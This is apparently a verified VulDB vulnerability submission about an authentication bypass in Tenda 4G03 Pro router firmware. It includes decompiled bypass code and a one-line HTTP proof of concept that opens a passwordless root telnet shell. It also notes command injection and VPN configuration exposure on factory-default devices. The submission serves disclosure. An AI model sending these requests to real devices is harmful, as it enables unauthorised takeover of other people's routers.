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## Submit #782052: Tenda Tenda 4G03 Pro V1.0 V04.03.01.53 Authentication Bypass Issues

**Title** Tenda Tenda 4G03 Pro V1.0 V04.03.01.53 Authentication Bypass Issues

**Description** Tenda 4G03 Pro V1.0 /bin/htpfd authentication bypass for sensitive endpoints

The R7WebSecurityHandler function (FUN\_00021a54) in /usr/sbin/htpfd of Tenda 4G03 Pro V1.0 firmware V04.03.01.53 explicitly skips authentication for three sensitive management endpoints when the admin password is unset (factory default). Sending GET /goform/telnet starts a persistent root telnet daemon on TCP/23. The /goform/ate endpoint enables OS command injection. The /goform/zerotier endpoint exposes VPN tunnel configuration. All three are accessible with zero credentials on a factory-default device.

POC:

```
Auth bypass code (FUN_00021a54):
if (strncmp(url,"goform/telnet",0xe)==0 &&
    DAT_00050f14=="\0") goto pass_through;
if (strncmp(url,"goform/ate",0xb)==0 &&
    DAT_00050f14=="\0") goto pass_through;
if (strncmp(url,"goform/zerotier",0x10)==0 &&
    DAT_00050f14=="\0") goto pass_through;
```

PoC — spawn root telnet shell:

```
GET /goform/telnet HTTP/1.1
Host: 192.168.0.1
```

Result: telnetd starts on TCP/23, login as root with no password

**User** CoreNode (UID 96566)

**Submission** 03/19/2026 03:16 AM (18 days ago)

**Moderation** 04/04/2026 08:20 AM (17 days later)

**Status** Verified

**VulDB entry** [Tenda 4G03 Pro up to 1.0/1.1/04.03.01.53/192.168.0.1 /bin/htpfd access control]

**Points** 17

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